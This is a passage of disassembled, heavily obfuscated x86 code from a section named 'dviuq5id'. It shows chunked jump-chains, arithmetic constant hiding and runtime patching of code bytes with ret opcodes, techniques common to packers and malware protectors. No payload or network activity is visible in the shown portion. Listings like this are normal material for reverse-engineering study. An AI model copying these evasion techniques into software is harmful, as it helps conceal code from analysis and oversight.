		jmp	loc_43FDF9
; ---------------------------------------------------------------------------

loc_43E3D8:				; CODE XREF: dviuq5id:0044307Fj
		add	eax, 952FBC60h
		push	eax
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_43E3DF:				; CODE XREF: sub_44EAC4:loc_452C3Cj
		push	ecx
		push	5AA1A77Ch
		jmp	loc_455193
; END OF FUNCTION CHUNK	FOR sub_44EAC4
; ---------------------------------------------------------------------------

loc_43E3EA:				; CODE XREF: dviuq5id:0043DEB9j
		jbe	loc_45561D
		mov	[edx], ecx
		jmp	loc_43F0DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459490

loc_43E3F7:				; CODE XREF: sub_459490:loc_449B4Bj
		jz	loc_4465C8
		jmp	loc_43D139
; END OF FUNCTION CHUNK	FOR sub_459490
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_43E402:				; CODE XREF: sub_4525D0-F16Cj
		jz	loc_450179
		jmp	loc_43ADD9
; END OF FUNCTION CHUNK	FOR sub_4525D0

; =============== S U B	R O U T	I N E =======================================



sub_43E40D	proc near		; DATA XREF: dviuq5id:00447B8Bo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0043A457 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045A52D SIZE 0000001A BYTES

		xchg	edx, [esp+0]
		push	10h
		mov	eax, [ebp-8]
		push	edi
		mov	edi, eax
		xchg	edi, [esp+8+var_8]
		push	edi
		jmp	loc_45A52D
sub_43E40D	endp


; =============== S U B	R O U T	I N E =======================================



sub_43E421	proc near		; CODE XREF: dviuq5id:0043B75Ej
					; sub_450686+Ap

; FUNCTION CHUNK AT 0043CCDF SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0043CE91 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0043EC8E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00440D62 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004423DA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00442A89 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446A94 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004477CC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044DA12 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00452493 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00457889 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004596AE SIZE 00000021 BYTES

		xchg	edx, [esp+0]

loc_43E424:				; CODE XREF: sub_4525D0:loc_44F8E0j
		pop	edx
		push	edx
		call	sub_45A310
		mov	eax, 0CAAB96A5h
		jmp	loc_43CE91
sub_43E421	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445707

loc_43E435:				; CODE XREF: sub_445707:loc_43C7EAj
		jnz	loc_43DFAE
		jmp	loc_445C68
; END OF FUNCTION CHUNK	FOR sub_445707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442913

loc_43E440:				; CODE XREF: sub_442913+E977j
		cmp	ebx, 8E1A55D1h
		jmp	loc_44A3F8
; END OF FUNCTION CHUNK	FOR sub_442913
; ---------------------------------------------------------------------------

loc_43E44B:				; CODE XREF: dviuq5id:004501F1j
		ror	ecx, 8

loc_43E44E:				; CODE XREF: dviuq5id:loc_450723j
		call	sub_456F43
		push	0C78227A3h
		pop	edx
		rol	edx, 0Dh
		test	edx, 40h
		jmp	loc_4562EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44460F

loc_43E467:				; CODE XREF: sub_44460F:loc_451B95j
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_45A2F4
		jmp	loc_446092
; END OF FUNCTION CHUNK	FOR sub_44460F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_43E479:				; CODE XREF: sub_439C09:loc_45712Cj
		jz	loc_44031F
		jmp	loc_43DF2A
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AE26

loc_43E484:				; CODE XREF: sub_44AE26+72B0j
		pop	ecx
		mov	ebp, [edi]
; END OF FUNCTION CHUNK	FOR sub_44AE26

; =============== S U B	R O U T	I N E =======================================



sub_43E487	proc near		; CODE XREF: sub_44AE26:loc_4537BEj

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00444E51 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 004451F7 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00453C78 SIZE 00000011 BYTES

		push	ebx
		push	1C3EB5FEh
		pop	ebx
		sub	ebx, 0D4308CD9h
		or	ebx, 0C594E328h
		jmp	loc_444E51
sub_43E487	endp

; ---------------------------------------------------------------------------

loc_43E49F:				; CODE XREF: dviuq5id:0043DC56j
		mov	edi, 0A979F677h

; =============== S U B	R O U T	I N E =======================================



sub_43E4A4	proc near		; CODE XREF: sub_4432C4+6p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00439E5E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043AFF3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B841 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043DA6A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043E52E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004401D6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044493D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448C05 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044A934 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044F08A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0045394B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00453B4B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00454809 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004549AB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0045A376 SIZE 00000013 BYTES

		xchg	eax, [esp-4+arg_0]
		pop	eax
		pop	ebp
		mov	eax, ds:dword_43EE20
		or	eax, eax
		jmp	loc_453B4B
sub_43E4A4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		adc	ebx, 4D617FB4h
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_43E4BC:				; CODE XREF: sub_4525D0:loc_45680Dj
		xchg	edx, esi
		jmp	sub_44F719
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------

loc_43E4C3:				; CODE XREF: dviuq5id:00458D53j
		jbe	loc_45117A
		push	63F40CF8h
		jmp	loc_45164F
; ---------------------------------------------------------------------------

loc_43E4D3:				; CODE XREF: dviuq5id:loc_453C08j
		sub	eax, 9CF0FD52h
		add	eax, 5C9EDC30h

loc_43E4DF:				; CODE XREF: dviuq5id:loc_45A02Cj
		push	esi
		pushf
		push	249E1ACCh
		pop	esi
		and	esi, 89236746h
		jmp	loc_447E6C
; ---------------------------------------------------------------------------
		mov	ds:off_41D070, eax
		lea	eax, sub_45061D
		mov	byte ptr [eax],	0C3h
		jmp	loc_43D3BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45061D

loc_43E506:				; CODE XREF: sub_45061Dj
		pop	edx
		push	offset loc_43EAEF
		jmp	loc_452FBF
; END OF FUNCTION CHUNK	FOR sub_45061D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B880

loc_43E511:				; CODE XREF: sub_43B880+CA34j
		popf
		mov	[ebx], esi
		jmp	loc_43FCEE
; END OF FUNCTION CHUNK	FOR sub_43B880
; ---------------------------------------------------------------------------

loc_43E519:				; CODE XREF: dviuq5id:0043B4B6j
		jz	loc_4544AF

loc_43E51F:				; CODE XREF: dviuq5id:00455A94j
		jmp	locret_452696
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F23F

loc_43E524:				; CODE XREF: sub_44F23F+6j
		jmp	loc_44D829
; END OF FUNCTION CHUNK	FOR sub_44F23F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45147D

loc_43E529:				; CODE XREF: sub_45147D-1109Dj
		jmp	loc_452AD1
; END OF FUNCTION CHUNK	FOR sub_45147D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E4A4

loc_43E52E:				; CODE XREF: sub_43E4A4-4643j
		jmp	loc_454809
; END OF FUNCTION CHUNK	FOR sub_43E4A4
; ---------------------------------------------------------------------------
		mov	ecx, 0CA96B61Dh
		not	ebp
		adc	edi, edx
		cmp	ebp, ebx
		jmp	loc_43E78E
; ---------------------------------------------------------------------------

loc_43E543:				; CODE XREF: dviuq5id:0043B716j
		jz	loc_457F3E
		jmp	loc_44D3F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D022

loc_43E54E:				; CODE XREF: sub_44D022:loc_459D57j
		cmp	al, 0A4h

loc_43E550:				; CODE XREF: dviuq5id:loc_444373j
		jz	loc_453A1E
		jmp	loc_449B50
; END OF FUNCTION CHUNK	FOR sub_44D022
; ---------------------------------------------------------------------------

loc_43E55B:				; CODE XREF: dviuq5id:00446820j
		rol	esi, 5

; =============== S U B	R O U T	I N E =======================================



sub_43E55E	proc near		; CODE XREF: sub_454094-4892p
		xchg	esi, [esp+0]
		pop	esi
		add	eax, ebp
		add	eax, 7F5E8EC6h
		mov	eax, [eax]

loc_43E56C:				; CODE XREF: sub_448B3E-5F19j
		push	offset loc_454FD9
		jmp	nullsub_32
sub_43E55E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D2E

loc_43E576:				; CODE XREF: sub_449D2E:loc_44B33Bj
		xchg	ebx, [esp+0]
		call	sub_444F0F
		push	50C9F90Fh
		xchg	edi, [esp+4+var_4]
		mov	eax, edi
		pop	edi
		or	eax, 1427B624h
		add	eax, 987DB1E4h
		jmp	loc_43EE01
; END OF FUNCTION CHUNK	FOR sub_449D2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AAE9

loc_43E59A:				; CODE XREF: sub_44AAE9-A1Bj
		jb	loc_443EDC
		jmp	loc_451BA5
; END OF FUNCTION CHUNK	FOR sub_44AAE9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449187

loc_43E5A5:				; CODE XREF: sub_449187-4149j
		sub	al, 99h
		mov	edx, [ebp+var_4]
		push	offset loc_4573B8
		jmp	loc_451D4D
; END OF FUNCTION CHUNK	FOR sub_449187
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444E1A

loc_43E5B4:				; CODE XREF: sub_444E1A+Aj
		pop	ecx
		xor	ecx, 3BD4E2F0h
		cmp	ecx, 25F4B976h
		jmp	loc_44898A
; END OF FUNCTION CHUNK	FOR sub_444E1A
; ---------------------------------------------------------------------------
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jnz	loc_458083
		jmp	loc_43AC3B
; ---------------------------------------------------------------------------

loc_43E5D8:				; CODE XREF: dviuq5id:0044001Dj
		cmp	eax, 1982B13Ch
		jmp	loc_455251
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D7C7

loc_43E5E3:				; CODE XREF: sub_44D7C7:loc_44DDD5j
		xor	edi, 7729BA6Ah
		popf
		xor	eax, edi
		push	offset loc_442839
		jmp	loc_45739C
; END OF FUNCTION CHUNK	FOR sub_44D7C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452D9B

loc_43E5F6:				; CODE XREF: sub_452D9B:loc_43B920j
		cmp	al, 0A4h
		jz	loc_4448F6
		jmp	loc_43C086
; END OF FUNCTION CHUNK	FOR sub_452D9B

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43E603	proc near		; DATA XREF: sub_452BBF:loc_44167Do
		jmp	sub_456053
sub_43E603	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_43E608:				; CODE XREF: sub_452BBF-C388j
					; sub_440898+81F7j
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45383B

loc_43E60B:				; CODE XREF: sub_45383B+6CA5j
		jmp	loc_450E51
; END OF FUNCTION CHUNK	FOR sub_45383B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448800

loc_43E610:				; CODE XREF: sub_448800+99ACj
		jmp	loc_44C925
; END OF FUNCTION CHUNK	FOR sub_448800

; =============== S U B	R O U T	I N E =======================================



sub_43E615	proc near		; CODE XREF: sub_453916+4p
					; sub_455039+5p
		call	sub_43F4F8

loc_43E61A:				; CODE XREF: dviuq5id:0044ABD3j
		xor	edx, 6C4ABA57h

loc_43E620:				; CODE XREF: sub_44C592:loc_44ABC0j
		xor	edi, 0B11A4E0Ah
		or	edi, 0A06BB0DFh
		push	offset sub_44118B
		jmp	nullsub_33
sub_43E615	endp

; ---------------------------------------------------------------------------

loc_43E636:				; CODE XREF: dviuq5id:loc_4431A9j
					; dviuq5id:004468B1j
		jnz	loc_439F91
		jmp	loc_453D04
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D393

loc_43E641:				; CODE XREF: sub_43D393:loc_44263Fj
					; sub_43D393+14747j
		mov	eax, [ebp-18h]
		add	eax, 4EA8D40Fh
		add	eax, 0B1572C15h
		mov	eax, [eax]
		jmp	loc_448295
; END OF FUNCTION CHUNK	FOR sub_43D393
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440C61

loc_43E657:				; CODE XREF: sub_440C61:loc_457AA5j
		jz	loc_4585D9
		jmp	loc_43CEB3
; END OF FUNCTION CHUNK	FOR sub_440C61
; ---------------------------------------------------------------------------

loc_43E662:				; CODE XREF: dviuq5id:0043C093j
		jnb	loc_45A3AC
		not	ebp
		add	ecx, ebp
		jmp	loc_443AD8
; ---------------------------------------------------------------------------

loc_43E671:				; DATA XREF: sub_455682:loc_44851Bo
		call	sub_454E7C
		test	eax, eax
		setnz	byte ptr [ebp-1]

; =============== S U B	R O U T	I N E =======================================



sub_43E67C	proc near		; CODE XREF: sub_440D0D+C0A4j
					; sub_440D0D+D3DBj ...

; FUNCTION CHUNK AT 00442CE2 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0044E932 SIZE 00000005 BYTES

		push	ebx
		push	93375375h
		pop	ebx
		rol	ebx, 18h
		or	ebx, 0F86F9AC0h
		jmp	loc_442CE2
sub_43E67C	endp

; ---------------------------------------------------------------------------
		sub	ebp, 0F9E748E2h
		jmp	loc_456B15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449485

loc_43E69C:				; CODE XREF: sub_449485:loc_442F81j
		and	eax, 9143DC83h
		jmp	loc_4527D9
; END OF FUNCTION CHUNK	FOR sub_449485

; =============== S U B	R O U T	I N E =======================================



sub_43E6A7	proc near		; DATA XREF: sub_43CB4C+163BFo

; FUNCTION CHUNK AT 0043A136 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00442B8F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044825B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044970D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044D79C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0045165B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00453EDE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00454C71 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00455136 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00457DE4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00457DEF SIZE 0000000A BYTES

		test	al, al
		jz	loc_44970D
		jmp	loc_455136
sub_43E6A7	endp


; =============== S U B	R O U T	I N E =======================================



sub_43E6B4	proc near		; CODE XREF: sub_45799F-1DBB5p
					; dviuq5id:0044F6E2j
		xchg	ebx, [esp+0]
		pop	ebx
		shl	eax, 8
		mov	edx, [ebp-20h]
		movzx	edx, byte ptr [edx]
		jmp	loc_4542B3
sub_43E6B4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_43E6C6:				; CODE XREF: sub_440898+15C8Bj
		push	eax
		push	0C8DD9DB0h
		pop	eax
		sub	eax, 1964A57Eh
		jnz	loc_43C0AA

loc_43E6D9:				; CODE XREF: sub_44FD21+Bj
		jmp	loc_457418
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F11D

loc_43E6DE:				; CODE XREF: sub_44F11D+B9Aj
		jmp	loc_44C8BD
; END OF FUNCTION CHUNK	FOR sub_44F11D
; ---------------------------------------------------------------------------
		jnp	loc_441D4E
		jmp	loc_4578AD
; ---------------------------------------------------------------------------

loc_43E6EE:				; CODE XREF: dviuq5id:loc_4533AAj
		rol	eax, 16h
		push	esi
		mov	esi, eax
		xchg	esi, [esp]
		jmp	loc_44B83D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446596

loc_43E6FC:				; CODE XREF: sub_446596+10j
		jz	loc_44F9D7
		jmp	loc_43C17D
; END OF FUNCTION CHUNK	FOR sub_446596
; ---------------------------------------------------------------------------

loc_43E707:				; DATA XREF: sub_43FDFB-8B2o
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0

loc_43E70E:				; CODE XREF: dviuq5id:loc_43A292j
		jz	loc_43B8FB
		jmp	loc_442415
; ---------------------------------------------------------------------------

loc_43E719:				; CODE XREF: dviuq5id:00440E86j
		push	ebx
		push	95BD6B3h
		pop	ebx
		or	ebx, 37E73077h
		jmp	loc_447E9A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_43E72B:				; CODE XREF: sub_44EAC4-4F4Aj
		xchg	ecx, [esp+4+var_4]
		push	0A5688115h
		pop	ebx
		xor	ebx, 93B82934h

loc_43E73A:				; CODE XREF: sub_449485-64F8j
		add	ebx, 0C971290Fh
		call	sub_4492DC

loc_43E745:				; CODE XREF: dviuq5id:0045649Ej
		jmp	loc_4456AD
; END OF FUNCTION CHUNK	FOR sub_44EAC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452470

loc_43E74A:				; CODE XREF: sub_452470+2394j
		jmp	nullsub_199
; END OF FUNCTION CHUNK	FOR sub_452470
; ---------------------------------------------------------------------------

loc_43E74F:				; CODE XREF: dviuq5id:0043C2B8j
		sub	eax, edi
		jmp	loc_451AB4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_355. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_485. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457EA1

loc_43E758:				; CODE XREF: sub_457EA1+9j
		jmp	nullsub_482
; END OF FUNCTION CHUNK	FOR sub_457EA1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_43E75D:				; CODE XREF: sub_43FA59-4EA9j
		jmp	loc_44CBD7
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------

loc_43E762:				; CODE XREF: dviuq5id:00446A60j
		pop	ebp
; START	OF FUNCTION CHUNK FOR sub_43B1C4

loc_43E763:				; CODE XREF: sub_43B1C4:loc_446A48j
		add	edi, 2DE681CBh
		rol	edi, 3
		add	edi, 8C4D24F9h
		xchg	edi, [esp+4+var_4]
		jmp	loc_44447A
; END OF FUNCTION CHUNK	FOR sub_43B1C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454267

loc_43E77A:				; CODE XREF: sub_454267+3E31j
		xchg	esi, [ebx]

loc_43E77C:				; CODE XREF: dviuq5id:loc_43A0AFj
		call	sub_450DC5
		retn
; END OF FUNCTION CHUNK	FOR sub_454267
; ---------------------------------------------------------------------------

loc_43E782:				; CODE XREF: dviuq5id:0044C5F0j
		push	edx
		push	0C56A8822h
		pop	edx
		jmp	loc_447780
; ---------------------------------------------------------------------------

loc_43E78E:				; CODE XREF: dviuq5id:0043E53Ej
		jb	loc_45793C
		mov	[edx], eax
		jmp	loc_4544AF
; ---------------------------------------------------------------------------

loc_43E79B:				; DATA XREF: sub_43CB4C:loc_44E40Eo
		add	esi, 0F8EAF55Ah
		xchg	esi, [esp]
		jmp	loc_44C783
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A5E

loc_43E7A9:				; CODE XREF: sub_439A5E:loc_459EE0j
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44302E
; END OF FUNCTION CHUNK	FOR sub_439A5E
; START	OF FUNCTION CHUNK FOR sub_454094

loc_43E7B2:				; CODE XREF: sub_454094:loc_454CF2j
		jmp	loc_451D19
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
		jle	loc_43EF44
		mov	esi, 23F378C6h
		jmp	sub_457052
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A5E

loc_43E7C7:				; CODE XREF: sub_439A5E:loc_44B913j
		jnz	loc_45078F
		jmp	loc_43A2A7
; END OF FUNCTION CHUNK	FOR sub_439A5E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_192. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4530E7

loc_43E7D3:				; CODE XREF: sub_4530E7+16j
		jmp	loc_44C173
; END OF FUNCTION CHUNK	FOR sub_4530E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451084

loc_43E7D8:				; CODE XREF: sub_451084+7j
		jmp	loc_44E0C5
; END OF FUNCTION CHUNK	FOR sub_451084
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4427AE

loc_43E7DD:				; CODE XREF: sub_4427AE+1257Bj
		rol	ebx, 1Eh
		sub	ebx, 0CFCEA31Eh
		rol	ebx, 1Bh
		xor	ebx, 0F8837E0Dh
		add	ebx, ebp

loc_43E7F1:				; CODE XREF: sub_455400:loc_44C84Fj
		add	ebx, 0B0A0832h
		call	sub_452E2A

loc_43E7FC:				; CODE XREF: sub_45861F-DD17j
		jmp	loc_4524F5
; END OF FUNCTION CHUNK	FOR sub_4427AE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_476. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		mov	ds:off_41D13C, eax
		lea	eax, sub_43C710
		mov	byte ptr [eax],	0C3h
		jmp	loc_43D289

; =============== S U B	R O U T	I N E =======================================



sub_43E816	proc near		; CODE XREF: sub_40B2BC+10Fp
					; sub_40B2BC+126p ...

; FUNCTION CHUNK AT 0043AB37 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044C77E SIZE 00000005 BYTES

		call	sub_43AB42
		jmp	loc_44C77E
sub_43E816	endp

; ---------------------------------------------------------------------------

loc_43E820:				; CODE XREF: dviuq5id:00449281j
		jns	loc_4594A0
		mov	eax, [edx]

; =============== S U B	R O U T	I N E =======================================



sub_43E828	proc near		; CODE XREF: dviuq5id:004565E6p

; FUNCTION CHUNK AT 004392C8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C401 SIZE 0000000B BYTES

		xchg	esi, [esp+0]
		pop	esi
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_457190
		jmp	loc_4392C8
sub_43E828	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jle	loc_45956F
		jmp	sub_454267
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_323. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43E847:				; CODE XREF: dviuq5id:0043BB2Aj
		jmp	nullsub_479

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E84C	proc near		; CODE XREF: sub_450667:loc_44B07Ej
					; dviuq5id:0044B1A3p

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 004395A1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043AEE5 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043F03C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00444CED SIZE 0000000C BYTES

		push	eax
		mov	eax, ebp
		xchg	eax, [esp+0]
		mov	ebp, esp
		jmp	loc_43AEE5
sub_43E84C	endp


; =============== S U B	R O U T	I N E =======================================



sub_43E859	proc near		; CODE XREF: dviuq5id:0043D4BFj
					; sub_44D7C7+609p

; FUNCTION CHUNK AT 0044B185 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	byte ptr [eax],	0C3h
		jmp	loc_44B185
sub_43E859	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B660

loc_43E865:				; CODE XREF: sub_43B660:loc_44619Cj
		mov	eax, [esp-4+arg_0]
		push	ebx
		mov	ebx, edx
		xchg	ebx, [esp+0]
		jmp	loc_4542C3
; END OF FUNCTION CHUNK	FOR sub_43B660
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_43E873:				; CODE XREF: sub_439013+1867Fj
		sub	ebx, eax
		call	sub_43B80C
; END OF FUNCTION CHUNK	FOR sub_439013
; START	OF FUNCTION CHUNK FOR sub_44CA06

loc_43E87A:				; CODE XREF: sub_44CA06-67CEj
		jmp	loc_43FAC1
; END OF FUNCTION CHUNK	FOR sub_44CA06
; ---------------------------------------------------------------------------

loc_43E87F:				; CODE XREF: dviuq5id:00440C2Dj
		jmp	locret_44248B
; ---------------------------------------------------------------------------

loc_43E884:				; CODE XREF: dviuq5id:00441813j
		add	edi, 0F7499148h
		jg	loc_43EC7C
		jmp	loc_458283
; ---------------------------------------------------------------------------
		sub	ebp, 0F14392DFh
		cdq
		jmp	sub_449E4E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B99E

loc_43E8A1:				; CODE XREF: sub_44B99E+237Fj
		shl	ecx, 0Ah
		xor	ebp, eax

loc_43E8A6:				; CODE XREF: sub_4492F0:loc_4526D1j
		push	ecx
		push	0F6495602h
		pop	ecx
		jmp	loc_43CFD7
; END OF FUNCTION CHUNK	FOR sub_44B99E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44646F

loc_43E8B2:				; CODE XREF: sub_44646F+CE44j
		pop	esi
		add	esi, 77687E96h
		xor	esi, 0BB831C9Ch
		add	edx, esi
		pop	esi
		push	offset loc_450CAA
		jmp	nullsub_170
; END OF FUNCTION CHUNK	FOR sub_44646F
; ---------------------------------------------------------------------------

loc_43E8CC:				; CODE XREF: dviuq5id:00441BF7j
		pop	edi
		add	edi, 41A15B99h
		and	edi, 0C8363E7Dh
		xor	edi, 5393EEBEh
		xor	eax, edi
		pop	edi
		call	sub_43B168

loc_43E8E7:				; CODE XREF: dviuq5id:0044B407j
		jmp	loc_43A5E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447C32

loc_43E8EC:				; CODE XREF: sub_447C32-D5D1j
		jmp	sub_43B3A0
; END OF FUNCTION CHUNK	FOR sub_447C32
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445437

loc_43E8F1:				; CODE XREF: sub_445437+506Cj
		pop	eax
		and	ecx, 7E6A38A2h
		sub	ecx, 1CE1E270h
		and	ecx, 8297E92h
		xor	ecx, 0E87FAABDh
		jmp	loc_44A2C7
; END OF FUNCTION CHUNK	FOR sub_445437
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D24F

loc_43E90F:				; CODE XREF: sub_43D24F:loc_44EE8Ej
		xchg	ebx, [esp+0]
		jmp	loc_43FAC1
; END OF FUNCTION CHUNK	FOR sub_43D24F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44460F

loc_43E917:				; CODE XREF: sub_44460F+3932j
		pop	esi
		test	esi, 10403AE2h
		jmp	loc_452D46
; END OF FUNCTION CHUNK	FOR sub_44460F
; ---------------------------------------------------------------------------

loc_43E923:				; CODE XREF: dviuq5id:loc_44F9DFj
		xchg	ebp, [esp]
		push	offset loc_44E7CD
		jmp	loc_43D808
; ---------------------------------------------------------------------------

loc_43E930:				; DATA XREF: sub_452A73:loc_456EB0o
		lea	eax, nullsub_193
		mov	byte ptr [eax],	0C3h
		jmp	loc_44D7FA
; ---------------------------------------------------------------------------
		pop	edx
		mov	eax, [esp]
		push	edx
		jmp	loc_43A313
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4489F3

loc_43E948:				; CODE XREF: sub_4489F3+1j
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	[ebp-8], eax
		mov	eax, [ebp+8]
		test	byte ptr [eax-8], 10h
		jmp	loc_44788C
; END OF FUNCTION CHUNK	FOR sub_4489F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_43E962:				; CODE XREF: sub_43FA59:loc_44E0D6j
		jnz	loc_44C1C2
		jmp	loc_44DE43
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
